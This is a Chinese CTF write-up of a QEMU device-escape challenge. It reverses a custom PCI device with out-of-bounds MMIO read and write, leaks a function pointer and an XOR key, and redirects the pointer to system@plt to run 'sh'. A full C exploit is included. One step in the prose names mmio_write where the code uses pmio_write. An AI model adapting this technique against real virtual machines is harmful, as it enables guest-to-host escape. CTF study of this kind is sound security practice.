前言
虚拟机用户名:root
无密码
设备逆向
题目去掉的符号,经过逆向分析,实例结构体如下:
可以看到 arr_int_8 数组后面存在一个函数指针,不用想基本上就是劫持该函数指针了。
denc_mmio_read 函数
这里存在越界读,在上面实例结构体中,arr_int_8 数组的大小为 8,而这里的下标达到了 9,所以刚好可以越界读取 func 的地址。
denc_mmio_write 函数
同理,这里也存在越界写,并且刚好可以写到 func,但是这里存在一个问题,就是每次写之前都会将数据进行异或。
异或的数据 data 是在实例初始化时设置的,这里设置的算法很复杂,基本上不考虑去逆向。
但是这里我们是可以配合 mmio_read 函数去直接泄漏 data 中的数据的,只需要让 mmio_write 的 val 等于 0 即可,然后在用 mmio_read 读出来。
denc_pmio_read 函数
该函数是正常读取,没有问题。
denc_pmio_write 函数
该函数写入是正常的,当 addr = 0x660 时,会调用函数指针,参数为 arr_int_8 首地址。
注意这里存在花指令:
就是这个位置,大家 patch 掉就行了
漏洞利用
其实就很简单了
1、利用 mmio_read 越界读泄漏 func 地址从而计算出 system@plt 地址
2、利用 mmio_write/mmio_read 泄漏异或 data
3、利用 mmio_write 越界写将 func 函数指针指向 system@plt
4、将 cmd 写入 arr_int_8
5、然后 mmio_write(0x660, 0) 触发即可
exp 如下:
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/io.h>
void * mmio_base;
uint64_t pmio_base = 0xc000;
void mmio_init()
{
int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR|O_SYNC);
if (fd < 0) puts("[X] open for mmio"), exit(EXIT_FAILURE);
mmio_base = mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
if (mmio_base < 0) puts("[X] mmap for mmio"), exit(EXIT_FAILURE);
printf("[+] mmio_base: %#p\n", mmio_base);
if (mlock(mmio_base, 0x1000) < 0) puts("[X] mlock for mmio"), exit(EXIT_FAILURE);
}
void pmio_init()
{
if (iopl(3) < 0) puts("[X] iopl for pmio"), exit(EXIT_FAILURE);
}
uint32_t mmio_read(uint64_t offset)
{
return *(uint32_t*)(mmio_base + (offset << 2));
}
void mmio_write(uint64_t offset, uint32_t val)
{
*(uint32_t*)(mmio_base + (offset << 2)) = val;
}
uint32_t pmio_read(uint64_t offset)
{
return inl(pmio_base + (offset << 2));
}
void pmio_write(uint64_t offset, uint64_t val)
{
outl(val, pmio_base + offset);
}
int main(int argc, char** argv, char** envp)
{
mmio_init();
pmio_init();
uint64_t func_addr = mmio_read(8);
func_addr = func_addr | (1ULL * mmio_read(9) << 32);
uint64_t system_plt = func_addr - 0x3A9EA8 + 0x2CCB60;
printf("[+] func_addr: %#p\n", func_addr);
printf("[+] system@plt addr: %#p\n", system_plt);
uint32_t data[10];
for (int i = 0; i < 10; i++)
{
mmio_write(i, 0);
data[i] = mmio_read(i);
printf(" [+] data[%d]: %#x\n", i, data[i]);
}
mmio_write(0, data[0]^0x6873);
mmio_write(8, data[8]^(system_plt&0xffffffff));
mmio_write(9, data[9]^((system_plt>>32)&0xffffffff));
pmio_write(0x660, 0);
puts("[+] End!");
return 0;
}
效果如下: